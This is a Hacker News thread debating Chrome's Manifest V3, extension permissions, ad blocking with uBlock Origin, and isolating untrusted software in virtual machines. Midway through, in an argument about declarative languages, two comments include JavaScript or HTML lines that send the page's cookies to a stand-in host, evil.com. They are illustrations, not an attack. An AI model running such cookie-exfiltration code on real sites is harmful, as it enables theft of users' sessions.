Hacker News Reader

Comment by avaer | Hacker News Reader

What's funny is that extensions were supposed to be a way to let you do the things the browser didn't want you to do. Guess that was a bit too much freedom for Google to accept, so they had to make a store with a gate, and destroy the APIs so that they're useless. Then they had to make up some reasons to justify that and ram it through the pipeline despite everyone's objections, and the frog got boiled.

Now we're back to needing an actual extension system that does what extensions were supposed to do in the first place.

View on HN

> Then they had to make up some reasons to justify that

Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.

It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should be literally built into the browser instead of being a mere extension. Only the conflicts of interest inherent in an ad company maintaining an ad blocker prevent that.

Yes, but if you write your own extension maybe you want to read and modify the data. For example, patch fingerprinting script so that it gets the wrong result.

Furthermore, malicious extension can read the data from the DOM, from forms (for example, password or credit card fields), and in some cases, from JS variables. They can insert fake information into the page. So preventing extensions from reading network data still leaves a lot of options for a malicious extension.

So you're saying that because Google didn't completely up-end the security model and break almost every extension in the one-go, we should have no-progress towards a more secure extension model?

uBlock Origin via declarative blocks is almost as powerful as the original. While I would trust gorhill with almost unfettered control over my browser, I don't trust EVERY extension owner (no do I trust uBlock Origin in perpetuity).

>So you're saying that because Google didn't completely up-end the security model and break almost every extension in the one-go, we should have no-progress towards a more secure extension model?

A funny argument to make because the thing that would make such a measure ridiculous as you rightly point out, is exactly what already makes the Manifest changes ridiculous in the first instance. They were making a rhetorical point and you elaborated on their point for them as if doing so expressed a disagreement.

I think a big step forward, towards a better security model, was overall a good thing, even if it meant that a good extension no longer had unfettered access to everything your browser saw. I don't think this change is ridiculous at all. And I don't want them to stop here either! v4 should close more of the avenues that malicious extensions are abusing! Extensions should declare everything up-front, so it's easy see if abuse is occuring.

How do you secure against the system vendor (in this case the browser) limiting what the consumer/user can or can't do (alone or with the help of third parties) with the product after acquiring it though? After all security for individuals against commercial and otherwise organized interests is one of the, if not the most important security after life and health. Even if one values the market overall for financial reasons, there is a solid argument that preventing modifications (and thus also repairs) is anti-competitive. It would be damaging to society if manifestV4 is realized restricting what can run further, much like printers and operating systems where the users ability to run software they bring themselves is limited has been. Just as no one should have to go to a mechanic with a special deal with the manufacturer to get their car or tractor to work as desired, neither should users of software.

You use a different browser, like Firefox.

A browser that is routinely dumped on by HN for not being perfectly managed lol

HN routinely dumps on chrome too. There is no browser HN likes.

Well chrome is obvious. Firefox always triggers the same complaints about Mozilla foundation. They’re valid, but the dog pile is always very striking. At the end of the day Firefox is a great browser and has enabled a bunch of great forks all outside of the chromium ecosystem. We can be critical and should be, but again, it’s very intense sometimes. Google is clearly worse.

"How dare you complain that I pissed on your carpet when the other guy took a dump on it."

If we’re going to use this kind of metaphor, I would say Firefox is just doing a mixed job of cleaning up the mess Google made on your carpet.

They doing both cleanup of Google's mess and adding their own mess. They are being criticized for the latter. Add to that that Mozilla, unlike Google, pretends to be a cleaning company when they want you to let them into your home.

> when they want you to let them into your home.

Are you trying to say that Mozilla/Firefox is engaging in the same data harvesting, usage, and dissemination that Google is?

Mozilla has frequently made questionable choices with its ad tie-ins and promotions. Mr. Robot ads, anyone? Unlike Chrome, Mozilla has also embedded full on data-collection schemes (Cliqz which tracked typing and browsing to test monetisation strategies).

>How do you secure against the system vendor (in this case the browser) limiting what the consumer/user can or can't do (alone or with the help of third parties) with the product after acquiring it though?

If you don't like what a browser is doing, then move to another one? You're acting like you have spent a tonne of money on buying Chrome. Even if that was the case, it's not a clear case of an anti-user behaviour. There is a good reason to deprecate the webRequest API, and we'll see more browsers move towards that in the future (Safari has had declarative blocking for many years now, I believe).

>preventing modifications (and thus also repairs) is anti-competitive

There is nothing stopping someone from forking a manifest v2 version and maintaining it. I'd argue this can't be compared to any company actually doing anti-competitive things (e.g. tractor company, printers, ice cream machine companies, etc.)

We should have the option to limit an extension to certain tabs or websites or at least windows, and extension authors should also have the option to specify that.

An adblocker, by its nature, needs to access *. But Return YouTube Dislike could statically specify that it will only run on youtube.com, and that's fine.

But the option to enable access to * is essential.

>An adblocker, by its nature, needs to access *

Well that's what is in contention. Does everything claiming to be an adblocker really need access to *? Is Adblocker5++ (totally not malware) entitled to as much access as uBlock Origin? You can declare upfront all the URLs you don't want accessed (which on top of security gives a substantial performance boost), and who's to say someone won't figure out a better way of working within these constraints?

What does "entitled" mean here?

A valid claim. The unfettered access to. etc.

What does that mean? The CPU runs instructions, it doesn't have entitlements or claims.

Removing capabilities is not progress towards better security. Putting them behind opt-in permissions, making permissions more granular, more robust... those are security upgrades. Removing capabilities is a feature downgrade.

Security upgrades are never opt-in, and for good reason. The status quo would remain in-secure. Every encryption suite upgrade, SSL software version, DNS versions, etc. maintained backwards compatibility for a window then closed it... just like we have seen here with manifest v2 -> v3.

"Please stop looking at all network requests, especially when you don't need to."

doesn't result in action... while:

"You can no longer look at all network requests" requires extension makers to update to the new paradigm.

New versions of encryption suites don't remove core functionality. This is like TLS removing SNI because it leaks information. It does, but the solution is ESNI, not removing SNI all together.

It's not "please stop looking at network requests", it's "ask the user for informed consent to look at network requests". Make it a big scary red warning if you want to. Definitely don't auto-grant it to existing extensions.

There are many options that don't involve removing functionality. It's like when Google removed SMS and clipboard permissions because they used to be too broad. People were pissed, a bunch of apps were killed, Google's walled garden got reinforced...

You're being naieve if you don't think SNI will be fully deprecated in the future when a standard is settled on and reaches wide-adoption.

Scare prompt fatigue is real. If you're constantly blasting users with "XXX wants to do Y" which sounds scary, you're training them to just accept without thinking.

Well yes, SNI will be removed, when ESNI reaches far enough adoption. That's my point! ESNI does what SNI does, but securely.

You fix an insecure implementation by replacing it with a secure implementation, not removing the feature completely.

Of course it's tempting to reply "don't install random extensions". But a bigger point here is that browsers have grown so massively complex that it's almost impossible to build one, so we don't have an ecosystem where you can choose your browser for safety and I can choose mine for freedom. Of course, Google has had a big incentive and hand in making it this way.

> I want my browser to prevent random extensions...

Why are you installing random extensions?

I'm not. The only extension I trust enough to install is uBlock Origin.

Well great! You are already protected from random extensions then.

Yeah, by opting out of them altogether. I'd very much enjoy having useful extensions that are not dangerous instead.

You can't trust a code that you didn't audit before. End of story.

What you are asking for is simply impossible, even without any permissions rogue extensions can still do a lot. It's what some developers spend their entire time working on.

If Google couldn't fix it with Android, which has granular permission per applications, why do you think it's going to be even remotely effective on the web browser ?

Do you audit all the code running on your PC? I certainly did not audit Chrome (and I also don't really trust it).

Not GP, but sometimes I want my browser to do pretty random/niche things without that compromising all of my browsing data.

How can the browser tell the difference between a random thing you want and a random thing you don't want?

The permissions mechanism.

How can the permissions mechanism be fine grained enough to prevent bad random things, and coarse grained enough that you can understand it?

Have you seen AWS IAM?

Power users who care about this don't need a GUI - a text file config in any format will do. Especially in this era of LLM assistance.

Requesting site access by click or by URL really isn't rocket science.

Not nearly every user will get it right, so extensions will probably still have to be monitored for malware for the foreseeable future, but it gives many users at least a chance at privilege minimization.

this is not a solution. Running an untrusted software will always be a security drawback. Permissions/sandbox/etc can decrease risk, but not eliminate it

Significantly reducing the risk is enough for me in many cases. Chasing “zero risk” is often a fallacy.

Expressing intent is good enough for me for this purpose. I understand that there are additional implementation specific risks.

Create a new profile, do the niche thing there, separately from the rest of your browsing.

The Google Toolbar for Internet Explorer let users search Google directly from any webpage, block pop-up ads, autofill web forms, and highlight search terms. It also displayed PageRank metrics, translated foreign languages, checked spelling, and managed web bookmarks.

Imagine the massive amount of data they must have harvested through it.

> I want my browser to prevent random extensions from directly reading web page data.

To be honest, to me it sounds like you don't want browser extensions then.

To me, directly messing with web page data and browser behaviour is the whole point of a browser extension - what else is a browser extension for?

Why should there not be a middle ground between “can do absolutely everything with all my data” and “is basically a glorified bookmark button” based on the level of trust I have for an extension?

Because the browser already has bookmark buttons

Because security is the pretext, not the goal here. I'm sure browsers could have better security controls for extensions, but giving users extra control over software doesn't seem to be very popular among corpos nowadays.

Because the middle ground would require the browser defining what an extension can and cannot do which defeats the entire point of extensions.

The purpose of browser extensions is to build up an install base then sell out to some corporation that then promptly leverages that user base to exfiltrate data and monetize it.

No thanks. They should have to declare to the browser what it is they want done instead.

It still sounds like you don't want browser extensions then.

This point would be far more credible if browsers weren't in business to do what you claimed extensions are there to do.

I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.

Right, basically no web browser has a profitable business model except through licensing or being subsidized through some other branch of the business.

The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google.

I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.

FYI, Opera didn't fail as much as they sold out. It was still sustainable, but the former founder/CEO left over this spat and formed Vivaldi over it.

Thanks, that's good info. I found this thread from an ex Opera employee and to your point, they could have kept on with Presto, but didn't [1]. What remains true is that bad management chased profits and found a better path to more revenue by caving to webkit and Chromium. So it wasn't strictly unsustainable so much as outcompeted by better economics that came from abandoning Presto. I consider the soul of Opera to be gone at this point and the amount of personal integrity and vision it takes to swim against the current of short term revenue is another manifestation of unfavourable browser economics for sustaining an independent engine.

1. https://old.reddit.com/r/operabrowser/comments/3jxud3/exoper...

... But they do that. The declaration is written in a language called JavaScript.

Javascript is not a declarative language.

Sure it is.

Here's how you can write a declaration that you want to exfiltrate cookies:

    document.addEventListener("load", function(){
        fetch("http://evil.com/"+document.cookie);
    });

That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

  <body onLoad="http.GET('http://evil.com/"+document.cookie')">

What do you think is the difference between a declaration and a statement?

I don't need to think, I can just look up their definitions:

https://en.wikipedia.org/wiki/Declaration_(computer_programm...:

> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization

https://en.wikipedia.org/wiki/Statement_(computer_science):

> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out

There are at least two uses of "declare": one the colloquial english usage that has been around for at least hundreds of years, which roughly means "announce" or "state". The other use of declare is the much more specific programming language version which you're referring to.

Here's what the comment you're responding to said:

> They should have to declare to the browser what it is they want done instead.

Arguably it's pretty clear they meant declare in the first sense.

I'm the one who wrote the sentence you are quoting, and I most definitely meant it in the sense of "declarative language, where you say what you want and the runtime figures out how to do it internally".

I think you're confusing the extension and the browser. The browsers are generally in the business of supporting an advertising company.

And extensions do exactly that in Firefox. When installing (or updating) extensions you're notified of any and all permissions the extension is requesting from the browser and you're given the choice to proceed with the installation or not. Google goes a step further and just straight up denies user choice entirely.

Bro, they have to declare there Firefox's policy. What the heck are you doing? Hallucinating claim after claim to support your weak defense. Just stop

"Declare" means the extension tells the browser what they want to filter and then the browser does it internally without ever allowing the extension to read and write private information.

The argument has nothing at all to do with declaring permissions in a manifest.

LOL brother, it won't work the way you wish it to work.

What would the API for this look like?

absolutely insane take

Nothing stops people from using a fork with manifest v2 support restored. In fact "VibeChrome" would probably be a successful product.

First you'd get sued because chrome is a Google trademark

It was by many, and it was decided to be too hard. Nobody is ready to do that.

>Hate to be the one to defend Google here, but the reasons weren't that unreasonable.

Sounds like some kind of Stockholm syndrome. Years ago, it was standard practice for software to be designed so that users could grant permissions to access invasive methods or functions.

Google relies on users' personal data (ads), which is why they introduced a unique ID to their Chrome browser (to track).

When was that standard practice? Cause years ago (like 2000) I remember even trivial and simple software (WeatherBug) being able to read/write all over the computer (Windows). And some crap I just installed on Win11 can see all over the box, just slightly less.

> I want my browser to prevent random extensions from directly reading web page data

This is so funny to me. Coming from a Netscape Navigator world, when extensions first came out, they were supposed to allow the user to add functionality to websites.

Why would someone install "random extensions" that they dont trust. And also, what would extensions do if not read and write data to websites? .

Sign of the times I guess.

> Why would someone install "random extensions" that they dont trust.

Same reason why people download random stuff and run it with administrator permissions on Windows.

> Why would someone install "random extensions" that they dont trust.

An extension that you trust today can be sold to an unscrupulous third-party tomorrow. That has happened many many times and will continue to.

And sometimes the unscrupulous third party decides to build a browser and take over the market via forcing hardware vendors to bundle it with their OS. Like Google.

so, it should not be updated automatically. so, you should not trust something that install updates (literally - install another software) without your agreement

Back in the mid 90s when the web started to be all the rage, I remember reading a comment I thought hilarious and kind of right. Paraphrasing a lot it went like this:

"Somehow, when people get into the internet, their IQ decreases like 50 points. Like, if a guy knocked on your house door and offered you to give you a million dollars if you just gave him a thousand now, you would tell him to F. off. But somehow on the internet people thing it's right"

Same with these apps, someone comes and tells you to let him install this great water appliance for your backyard. You let him come in. But somehow in the internet, you also give him the key so that he can come in again anytime he wants... he may sell the key, lose the key, do something malicious later,etc. But due to ignorance, people dont grasp what they are doing in the digital world. People lack the necessary mental models.

Extensions are set to auto update by default, and it's not obvious at first how to disable that. It's also disallowed to install an extension you've built from source on most release builds, without messing with a hex editor. So essentially, any extension you install is liable to be come a "random" extension, if for example, the author sells out, or something like the attacks on NPM were to happen.

These are the real problems.

Don't defend them then. Do you believe the same should be true of your operating system? If not, then it shouldn't be true of the browser either.

> Do you believe the same should be true of your operating system?

Yes, and I have actually started virtualizing everything inside my computer because of that belief. I don't want random software touching my trusted host.

"Random software" is currently defined as anything outside the official repositories of my Linux distribution of choice. I don't want to share a home directory with such things. I don't want to share a user and its permissions, I don't even want to share a kernel with them.

There's a difference between you virtualizing programs and your OS vendor virtualizing programs for you without giving you an opt-out. Cough snaps cough.

Agreed, and I do think it's unfortunate that our browsers are funded by ad tech. I want that to change.

... the greatest danger to us is masterless men; lacking a coercive power to tie their hands, they would destroy society. How else but by binding to lord and master can they be held to the laws? So thought men during feudal times.

In fact, it is possible for people to be held to good conduct without being bound into a single hierarchy, and it should be possible for software to be held to good conduct without giving such power to single monopolists. But it's not in Google's interests to build such mechanisms, any more than it was in the interests of the feudal overlords to look for alternatives to their rule.

I'm supposed to be the master, actually. It's my computer, any foreign code is essentially a subject in my digital domain. It should be literally impossible for them to do something I don't want them to do. As the god of my little digital realm, I should have maximum power and freedom, while foreign developers get the absolute minimum amount of power that works, and in the ideal case this minimum is zero.

The fact someone gave developers a turing complete language inside the browser where random code is automatically downloaded and executed is a major reason why we even have uBlock Origin in the first place. The vast majority of developers heavily abuse this privilege and cannot be trusted, and that is why we block them with extreme prejudice.

This is the way. The owner of the computer should be the ultimate authority over what gets run and not run on that computer. Not Microsoft. Not Apple. Not Google. Not Mozilla. Not some web site developer.

We seem to have a similar philosophy. Have you found a good way to deal with modifying or selectively disabling things like webpacked js or react?

I've tried everything from relying on uBlock Origin's anti-sabotage injections to literally reverse engineering websites and directly using all the internal APIs their own javascripts consume.

My dream was to have a "custom HTTP client" for every website. Instead of one browser for all sites, I write "adapters" for them that scrape the data into my own schemas. Maintaining this was far too much work back then, but now that I've got AI... I think I might try it.

>uBlock Origin's anti-sabotage injections

Do you mean the rules like

    *##+js(acis, document.oncontextmenu)

(an example I just added (copied) today)? I've had a lot of trouble figuring out how to make these properly.

>reverse engineering websites and directly using all the internal APIs their own javascripts consume.

Interesting. By userscript or some other way? I've run into a number of situations where I either can't find a pointer to the internal js, or if I do find one, the browser or something ends up preventing me from accessing or modifying internal state with some sort of permission error. The latter might just be React though.

I'd be very interested in looking, if you have open sourced any of this.

I think nobody is against the availability of sandboxing tools for browser extensions - they just want them to be options and not requirements or defaults.

I agree that we should able to be fully in control of what we run on our machines, but that should also include being able to decide who we trust to mark , or gatekeep, code as trustworthy. Both having to run code from any random website, and having to trust exactly one mega company, means you are not the master.

> I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.

Agreed. And you would think most paranoid HN types would too.

> It's just that uBlock Origin is so insanely useful, important and trusted

Maybe I'm foggy on the history. But isn't this like Fork #4 or #5 of some previous AdBlock extension?

Seems like the only business model for this type of extension is "selling out" for certain ads. And then the cycle repeats and forum posters tell you to install qBlock Omega or whatever. Maybe Mozilla doesn't want to get in the middle of this?

> Maybe I'm foggy on the history. But isn't this like Fork #4 or #5 of some previous AdBlock extension?

IIRC it was written from scratch. It was called uBlock before, then a co-maintainer tried to pull some shit, and the original author had to fork it with a new name (I don’t remember the details, it’s been ages since then).

No selling out yet. The author also explicitly says they don’t accept donations. I don’t think he’s looking for a business model. But if that changes – yeah, the fork button is right there, so I don’t see a big problem here.

Of course the reasons weren't unreasonable, that's what made them great excuses for specifically blocking ublock origin.

They don't specifically block uBlock Origin though. I have no doubt they intended it to, and that's literally my only objection to Manifest V3: it's good but it hurts uBlock Origin therefore I don't accept it.

The right thing is to simply bypass all of that. The fact is uBlock Origin should be literallly built into the browser like the good old popup blockers once were.

If only we had a browser that was independent of ad money.

Of course the reasons weren't specific to ublock origin, that's what made them great excuses for specifically blocking ublock origin.

"Random" is a funny thing to call an extension that you have deliberately installed.

I also don't want "random" programs accessing my home folder. That would be terrible! Who knows what programs that could be! I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily. Same for extensions.

The goal here isn't really to protect me from extensions. Extensions don't do anything on their own, they just sit there and wait for me to install them. So the goal is apparently to protect me from me (installing an extension), which really is to say protect their business (ads) from me (blocking them).

"Random" is what I call pretty much every extension that is not uBlock Origin. I absolutely want them limited to the fullest extent. Maybe if they were, I would actually install some of them.

> I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily.

I don't. My standard operating practice is to virtualize them.

My security posture is considerably more lax towards free and open source software, for obvious reasons, and even then this trust only extends to the software in my Linux distribution's repositories. Stuff coming from PyPI, npm, cargo, ruby gems, and other such "developer centric" repositories get the full virtualization treatment. If it's easy for randoms to publish packages, then it's equally easy for malware to make it in.

What do you use for virtualization for tools from developer repositories? Run them in a VM or sandboxing like bubblewrap?

QEMU virtual machines. Sandboxes like firejail and bubblewrap share a kernel: attacker is one exploit away from root. Hypervisors present an infinitely smaller attack surface, and if they're ever defeated the entire industry is done, not just me.

I have a base system image that gets forked off into delta qcow2 images for every project I'm working on or whatever ephemeral execution context I need.

I started a side project to build software just to manage those VMs. I'm daily driving this thing even though it's my first "vibecoded" project, it's just way too useful and has saved me quite a few times from accidents.

https://github.com/matheusmoreira/virtdev

The firewall works but it's pretty clunky. I'm working on a custom Rust network stack to replace it.

You'd probably prefer something that isn't literally made by one guy and his AIs though. Docker sandboxes seem to be a good solution that also employs virtualization.

https://news.ycombinator.com/item?id=49239751

Before I made all this, I used to use firejail.

You should make a browser for you, like a QubesOS browser. Do you use QubesOS? If not, you should.

But you can't lock down everyone else's general-purpose computers just because you are more careful than the average. You're supporting the big corporations in the war against general-purpose computing here.

> I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.

I was under the impression that manifest v3 still allowed extensions to read anything, just not modify. Is that not the case? (Random link because this is hard to search for: https://news.ycombinator.com/item?id=38303446 )

Yeah, if that's true then there's little point to Manifest V3... That completely invalidates the argument that it increases security by denying private page access. Maybe I misunderstood Manifest V3.

All roads lead to Occam's Razor and POSIWID: the point of Manifest V3 is to block adblockers.

> Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.

Don't kid yourself, even with mv3 if you install a rogue extension it's going to have access to a lot more data than you would be comfortable sharing to.

Yes, which is why it is important to lock such things down.

How would you do that?

You can't trust a code that you didn't audit before. End of story.

What you are asking for is simply impossible, even without any permissions rogue extensions can still do a lot. It's what some developers spend their entire time working on.

If Google couldn't fix it with Android, which has granular permission per applications, why do you think it's going to be even remotely effective on the web browser ?

Then don't install them. I want my extensions in my browser on my computer to do whatever I allow them to do and not what's allowed by Google.

No worries. Reading the rest of your comments shows, that your defense is paper thin .

The amount of replies this has gotten regarding the use of “random” is a fine example of the state of discussion on the internet and in general, and how HN is in no way immune.

Clearly “random” was used as a means of saying “any”, to describe extensions the author hasn’t thought of. That will be obvious to anyone arguing in good faith and steel manning the argument.

This sounds like another one in those class of arguments that are essentially "We can't let users accidentally harm themselves on the devices they own." While I appreciate ergonomics and sensible defaults, ultimately I don't need you, Google or anyone else telling me I can't do something with my device because it's too dangerous to me. I mean I have a huge F U for anyone who tells me that quite frankly, just as I would if they said it about my car or my kitchen knife. I cleared the age of consent decades ago, I will use what I bought and I will accept responsibility for all of the outcomes. These little poindexter dictator nerds of IT who think they get to control everything about what I own can F right off. I applaud and will participate in any class action lawsuit against them and hope for the maximum penalties to be inflicted upon them.

Mozilla relies 85% of income from Google for making default search engine Google.

They probably have strong implicit pressure not to.

Mozilla has 300+ million dollars in the bank.

So does Wikipedia but they still desperately beg like they're about to go out of business.

>it should be literally built into the browser

Orion does this. It's still a little too rough around the edges to recommend as a daily driver though.

> I want my browser to prevent random extensions from directly reading web page data.

I don't want that! I want to be able to install any extension whatsoever (as we still can, more or less, install programs). And if I'm clueless enough to install "random" extensions that'll harm me, then shame on me! How often has it happened for the whole existence of Manifest V2 anyway?

Maybe we could have tolerated a well-hidden, well-protected "advanced" flag to open that possibility. But removing Manifest V2 altogether is unforgivable.

Also, security is a very very very weak argument, as many ads are much more dangerous and toxic than any popular extension will ever be.

I want my browser to prevent random extensions from directly reading web page data

I also want my browser to prevent random third-party javascript from doing the same. And I care more about that one, because as a user I don't have control over said third-party javascript while I do have control over the extensions I'm using. The browser is supposed to be a user agent, not act as an extension of the website owner.

If you look at all the threat vectors of a browser from a user perspective, a rogue extension is well at the lower end.

If you look at the threat vectors for the revenue of a company like Google, extensions that aren't limited by the browser are pretty much number one.

This should tell you everything you need about the matter.

If you've run a site with CORS reporting enabled, you'd see that a significant fraction of your userbase have malware extensions running (prior to manifest v3). I was absolutely shocked when I looked at the logs a decade ago, and I bet the problem is far worse these days with the proliferation of malware buyouts of legit extensions.

Google has no shortage of options for serving up ads that can't be blocked by normal ad blockers across all their properties (youtube, search, etc.). They in-line the ads these days! And if they really cared about the fraction of a fraction of a percent of people that even install any kind of adblocker, they could make the served ad content un-blockable by serving it the exact same as the content.

> I want my browser to prevent random extensions from directly reading web page data.

Fine, then don't install them?

It's like saying you want your TV to stop random people from watching it, but the obvious solution to that problem is to not invite random people into your living room.

> Honestly, it should be literally built into the browser instead of being a mere extension

Aaaand that's why I'm using Vivaldi over here (which has a built-in adblocker).

Your browser does prevent random extensions from reading web page data - it prevents all of the ones you don't install!

More seriously: if you don't want X to do Y, the solution is to not give X the permission Y. The platform overlord removing the premission Y completely is a terrible solution.

> Google ... had to ... destroy the APIs so that they're useless.

I see this repeated over and over and yet uBlock Origin Lite still seems to block almost all ads. I'm not saying I wouldn't prefer the non-lite version. But, given I basically still don't see ads it's kind of hard to argue Google destroyed the APIs so that they're useless

There’s also ad blockers for iOS safari, which I’m pretty sure doesn’t support ublock. There’s nothing in manifest v2 that’s required for ad blocking.

uBlock Origin Lite is available on iOS/iPadOS for Safari however last time I checked it’s inferior to AdGuard/Wipr due to the API it uses (it only works in Safari but doesn’t provide ad blocking in the web views like the other two do). Otherwise it’s equivalent with the desktop version.

Okay. So there’s still nothing in manifest v2 that’s required for ad blocking?

Realistically with the new uBOL you’re just limited to the amount of rules you can use (I think it’s like 300k), no cosmetic filtering in default mode, no script injection in default mode, “limited dynamic filtering capabilities,” and needing more permissions up front.

In practice to me these are non-issues. With MV2 uBO you basically already grant it maximum permissions since it’s all or nothing with MV2. So giving full permissions with MV3 uBOL is no different. Which eliminates the cosmetic filtering and script injection limitations.

The rule limit can maybe be an issue, but I’ve never run into it unless I literally go hog wild and overboard on filter lists.

“Limited dynamic filtering capabilities” is more abstract to me at least and I can’t say what’s missing here.

In practice though ultimately I notice no difference between Lite and the original.

The crux of the difference is the webRequest API which is only available in Manifest v2. This allows uBlock to strip all tracking data from the requests themselves. So while Chrome w uBlock Lite is hiding almost all the same ads from you, it's not protecting you from tracking

The Lite version also relies solely on filter lists that require you to update the extension itself while the MV2 version can do so dynamically. Additionally, it lacks CNAME Uncloaking which I imagine will become much more commonplace soon enough which will make it impossible to block those ads.

> uBlock Origin Lite still seems to block almost all ads

https://news.ycombinator.com/item?id=49305464

Browser extensions were also one of the biggest ways to distribute malware. The situation was genuinely horrific. Malware distributors would offer popular extension devs millions of dollars to buy the extension, then silently insert malware which gets auto deployed to millions of people.

That sounds more like an issue with the update policies.

Why haven't they been prosecuted? And why hasn't this "cindyllm" bot account been deleted yet? Clearly a shadowban didn't send the message.

But why blame the extensions instead of the auto-update feature? Wouldn't it be more effective to build external code review practices around the extension eco-system? For example, if you want to publish or update an extension, you first have to review someone's elses or something along those lines.

Lungs are one of the most effective ways of distributing disease. You'd be shocked at how many people get sick and die because LUNGS! We should immediately do away with lungs!

Firefox extensions are already so incredibly locked down. It used to be they could edit any part of the UI anywhere. Now they each get a button at the end of the URL bar if they're lucky, otherwise it's some obscure hamburger menu item.

You have full control of whether or not their button is in your toolbar.

If they are hidden for you, it's because you, the user, hid them or enabled the overflow extension menu.

I, the user, don't understand how this works and just see my browser thinking it's better than me and should be my master.

There are good solid reasons why Manifest v3 is preferable for most extensions.

The issue is that adblocking doesn't work with it, so an addition, or workaround should be made, but when Google has the amount of influence they have, that didn't happen.

The upshut is that people hate ads and like free stuff, so there is now a good selling point for Firefox. Hell some of us switched to Firefox because it blocked popup ads and had tabs, back in the day.

> The issue is that adblocking doesn't work with it

Except this is objectively not true…

uBlock Origin Lite is nearly as good as uBO and blocks nearly everything except for mostly Twitch ads.

Manifest v3 is a big security upgrade and effectively closes off the permanent RCE pathway that v2 allowed.

So we already see one major ad category it's unable to block. When will advertisers catch on to put more of their ads in that category?

Except normal uBO also failed to block Twitch ads so there’s no difference here.

Twitch ads haven't reliably been blocked by ublock origin (in any browser) for years. The "best" solution people came up with is replacing the stream with an ad-free low res version for the duration of the ads, which doesn't make for a very enjoyable viewing experience. There were/are some more experimental options like m3u proxies to jurisdictions where Twitch isn't serving any ads for one reason or another, but those aren't reliably working all the time either. In any case, somewhat outside the scope of ad blockers and closer to paywall circumvention-ish.

> extensions were supposed to be a way to let you do the things the browser didn't want you to do.

If that would have been the case, extensions wouldn’t exist.

Extension are a way to make the browser do what the browser manufacturer didn’t think or care about.

Reply on news.ycombinator.com